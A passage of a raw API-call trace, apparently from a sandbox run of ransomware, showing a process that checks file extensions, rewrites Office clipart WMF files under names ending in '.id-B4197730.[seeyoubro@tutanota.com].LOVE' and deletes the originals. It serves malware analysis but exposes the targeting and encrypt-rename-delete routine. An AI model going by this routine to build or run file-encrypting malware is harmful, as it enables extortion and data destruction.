[0218.932] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.932] lstrlenW (lpString=".rar") returned 4 [0218.932] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.932] lstrlenW (lpString=".bz2") returned 4 [0218.932] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.933] lstrlenW (lpString=".7z") returned 3 [0218.933] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0218.933] lstrlenW (lpString=".dbf") returned 4 [0218.933] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0218.933] lstrlenW (lpString=".1cd") returned 4 [0218.933] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0218.933] lstrlenW (lpString=".jpg") returned 4 [0218.933] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.933] GetLastError () returned 0x0 [0218.933] ReadFile (in: hFile=0x354, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x8f8, lpOverlapped=0x0) returned 1 [0218.983] WriteFile (in: hFile=0x35c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x900, lpOverlapped=0x0) returned 1 [0218.984] ReadFile (in: hFile=0x354, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0218.985] WriteFile (in: hFile=0x35c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0218.985] SetEndOfFile (hFile=0x35c) returned 1 [0218.985] CloseHandle (hObject=0x35c) returned 1 [0218.985] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0218.985] SetEndOfFile (hFile=0x354) returned 1 [0218.986] CloseHandle (hObject=0x354) returned 1 [0218.986] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0218.986] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf")) returned 1 [0218.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0218.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0218.994] lstrlenW (lpString=".doc") returned 4 [0218.994] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.994] lstrlenW (lpString=".docx") returned 5 [0218.994] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.994] lstrlenW (lpString=".pdf") returned 4 [0218.994] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.994] lstrlenW (lpString=".xls") returned 4 [0218.994] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.994] lstrlenW (lpString=".xlsx") returned 5 [0218.994] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.994] lstrlenW (lpString=".ppt") returned 4 [0218.994] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0218.994] lstrlenW (lpString=".zip") returned 4 [0218.994] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.994] lstrlenW (lpString=".rar") returned 4 [0218.994] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.994] lstrlenW (lpString=".bz2") returned 4 [0218.994] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.994] lstrlenW (lpString=".7z") returned 3 [0218.994] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0218.994] lstrlenW (lpString=".dbf") returned 4 [0218.994] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0218.994] lstrlenW (lpString=".1cd") returned 4 [0218.994] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0218.995] lstrlenW (lpString=".jpg") returned 4 [0218.995] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0219.023] GetLastError () returned 0x0 [0219.023] ReadFile (in: hFile=0x35c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x9dc, lpOverlapped=0x0) returned 1 [0219.056] WriteFile (in: hFile=0x2cc, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x9e0, lpOverlapped=0x0) returned 1 [0219.057] ReadFile (in: hFile=0x35c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0219.057] WriteFile (in: hFile=0x2cc, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0219.057] SetEndOfFile (hFile=0x2cc) returned 1 [0219.057] CloseHandle (hObject=0x2cc) returned 1 [0219.058] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0219.058] SetEndOfFile (hFile=0x35c) returned 1 [0219.058] CloseHandle (hObject=0x35c) returned 1 [0219.059] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0219.059] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf")) returned 1 [0219.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0219.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0219.059] lstrlenW (lpString=".doc") returned 4 [0219.059] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0219.059] lstrlenW (lpString=".docx") returned 5 [0219.059] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0219.059] lstrlenW (lpString=".pdf") returned 4 [0219.059] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0219.060] lstrlenW (lpString=".xls") returned 4 [0219.060] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0219.060] lstrlenW (lpString=".xlsx") returned 5 [0219.060] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0219.060] lstrlenW (lpString=".ppt") returned 4 [0219.060] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0219.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0219.060] lstrlenW (lpString=".zip") returned 4 [0219.060] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0219.060] lstrlenW (lpString=".rar") returned 4 [0219.060] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0219.060] lstrlenW (lpString=".bz2") returned 4 [0219.060] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0219.060] lstrlenW (lpString=".7z") returned 3 [0219.060] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0219.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0219.060] lstrlenW (lpString=".dbf") returned 4 [0219.060] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0219.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0219.060] lstrlenW (lpString=".1cd") returned 4 [0219.060] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0219.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0219.060] lstrlenW (lpString=".jpg") returned 4 [0219.060] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0219.107] GetLastError () returned 0x0 [0219.107] ReadFile (in: hFile=0x380, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x244, lpOverlapped=0x0) returned 1 [0219.108] WriteFile (in: hFile=0x348, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x250, lpOverlapped=0x0) returned 1 [0219.113] ReadFile (in: hFile=0x380, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0219.113] WriteFile (in: hFile=0x348, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0219.114] SetEndOfFile (hFile=0x348) returned 1 [0219.114] CloseHandle (hObject=0x348) returned 1 [0219.114] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0219.114] SetEndOfFile (hFile=0x380) returned 1 [0219.115] CloseHandle (hObject=0x380) returned 1 [0219.115] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0219.116] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01629_.wmf")) returned 1 [0219.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0219.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0219.118] lstrlenW (lpString=".doc") returned 4 [0219.118] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0219.118] lstrlenW (lpString=".docx") returned 5 [0219.118] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0219.118] lstrlenW (lpString=".pdf") returned 4 [0219.118] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0219.118] lstrlenW (lpString=".xls") returned 4 [0219.118] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0219.118] lstrlenW (lpString=".xlsx") returned 5 [0219.118] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0219.118] lstrlenW (lpString=".ppt") returned 4 [0219.118] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0219.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0219.118] lstrlenW (lpString=".zip") returned 4 [0219.118] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0219.118] lstrlenW (lpString=".rar") returned 4 [0219.118] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0219.118] lstrlenW (lpString=".bz2") returned 4 [0219.118] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0219.118] lstrlenW (lpString=".7z") returned 3 [0219.118] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0219.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0219.118] lstrlenW (lpString=".dbf") returned 4 [0219.118] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0219.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0219.118] lstrlenW (lpString=".1cd") returned 4 [0219.118] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0219.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01629_.WMF") returned 68 [0219.119] lstrlenW (lpString=".jpg") returned 4 [0219.119] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0219.125] GetLastError () returned 0x0 [0219.125] ReadFile (in: hFile=0x2cc, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x1034, lpOverlapped=0x0) returned 1 [0219.132] WriteFile (in: hFile=0x35c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x1040, lpOverlapped=0x0) returned 1 [0219.133] ReadFile (in: hFile=0x2cc, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0219.133] WriteFile (in: hFile=0x35c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0219.133] SetEndOfFile (hFile=0x35c) returned 1 [0219.134] CloseHandle (hObject=0x35c) returned 1 [0219.134] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0219.134] SetEndOfFile (hFile=0x2cc) returned 1 [0219.135] CloseHandle (hObject=0x2cc) returned 1 [0219.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0219.135] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf")) returned 1 [0219.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0219.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0219.136] lstrlenW (lpString=".doc") returned 4 [0219.136] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0219.136] lstrlenW (lpString=".docx") returned 5 [0219.136] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0219.136] lstrlenW (lpString=".pdf") returned 4 [0219.136] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0219.136] lstrlenW (lpString=".xls") returned 4 [0219.136] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0219.136] lstrlenW (lpString=".xlsx") returned 5 [0219.136] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0219.136] lstrlenW (lpString=".ppt") returned 4 [0219.136] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0219.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0219.136] lstrlenW (lpString=".zip") returned 4 [0219.136] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0219.136] lstrlenW (lpString=".rar") returned 4 [0219.136] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0219.136] lstrlenW (lpString=".bz2") returned 4 [0219.136] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0219.136] lstrlenW (lpString=".7z") returned 3 [0219.136] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0219.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0219.136] lstrlenW (lpString=".dbf") returned 4 [0219.137] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0219.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0219.137] lstrlenW (lpString=".1cd") returned 4 [0219.137] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0219.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68 [0219.137] lstrlenW (lpString=".jpg") returned 4 [0219.137] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0219.141] GetLastError () returned 0x0 [0219.141] ReadFile (in: hFile=0x380, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0xcb4, lpOverlapped=0x0) returned 1 [0219.257] WriteFile (in: hFile=0x388, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xcc0, lpOverlapped=0x0) returned 1 [0219.258] ReadFile (in: hFile=0x380, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0219.258] WriteFile (in: hFile=0x388, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0219.258] SetEndOfFile (hFile=0x388) returned 1 [0219.259] CloseHandle (hObject=0x388) returned 1 [0219.259] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0219.259] SetEndOfFile (hFile=0x380) returned 1 [0219.260] CloseHandle (hObject=0x380) returned 1 [0219.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0219.260] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf")) returned 1 [0219.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0219.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0219.269] lstrlenW (lpString=".doc") returned 4 [0219.269] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0219.269] lstrlenW (lpString=".docx") returned 5 [0219.270] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0219.270] lstrlenW (lpString=".pdf") returned 4 [0219.270] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0219.270] lstrlenW (lpString=".xls") returned 4 [0219.270] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0219.270] lstrlenW (lpString=".xlsx") returned 5 [0219.270] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0219.270] lstrlenW (lpString=".ppt") returned 4 [0219.270] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0219.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0219.270] lstrlenW (lpString=".zip") returned 4 [0219.270] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0219.270] lstrlenW (lpString=".rar") returned 4 [0219.270] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0219.270] lstrlenW (lpString=".bz2") returned 4 [0219.270] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0219.270] lstrlenW (lpString=".7z") returned 3 [0219.270] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0219.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0219.270] lstrlenW (lpString=".dbf") returned 4 [0219.270] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0219.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0219.270] lstrlenW (lpString=".1cd") returned 4 [0219.270] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0219.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0219.270] lstrlenW (lpString=".jpg") returned 4 [0219.270] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0219.368] GetLastError () returned 0x0 [0219.368] ReadFile (in: hFile=0x384, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x32f2, lpOverlapped=0x0) returned 1 [0219.583] WriteFile (in: hFile=0x380, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x3300, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x3300, lpOverlapped=0x0) returned 1 [0219.584] ReadFile (in: hFile=0x384, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0219.584] WriteFile (in: hFile=0x380, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0219.584] SetEndOfFile (hFile=0x380) returned 1 [0219.585] CloseHandle (hObject=0x380) returned 1 [0219.585] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0219.585] SetEndOfFile (hFile=0x384) returned 1 [0219.586] CloseHandle (hObject=0x384) returned 1 [0219.586] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0219.586] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00019_.wmf")) returned 1 [0219.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0219.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0219.587] lstrlenW (lpString=".doc") returned 4 [0219.587] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0219.587] lstrlenW (lpString=".docx") returned 5 [0219.587] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0219.587] lstrlenW (lpString=".pdf") returned 4 [0219.587] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0219.587] lstrlenW (lpString=".xls") returned 4 [0219.587] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0219.587] lstrlenW (lpString=".xlsx") returned 5 [0219.587] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0219.587] lstrlenW (lpString=".ppt") returned 4 [0219.587] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0219.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0219.587] lstrlenW (lpString=".zip") returned 4 [0219.587] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0219.587] lstrlenW (lpString=".rar") returned 4 [0219.587] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0219.587] lstrlenW (lpString=".bz2") returned 4 [0219.587] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0219.587] lstrlenW (lpString=".7z") returned 3 [0219.587] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0219.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0219.587] lstrlenW (lpString=".dbf") returned 4 [0219.587] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0219.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0219.587] lstrlenW (lpString=".1cd") returned 4 [0219.587] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0219.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 68 [0219.587] lstrlenW (lpString=".jpg") returned 4 [0219.587] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0219.588] GetLastError () returned 0x0 [0219.588] ReadFile (in: hFile=0x384, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x8e8, lpOverlapped=0x0) returned 1 [0219.597] WriteFile (in: hFile=0x380, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x8f0, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, 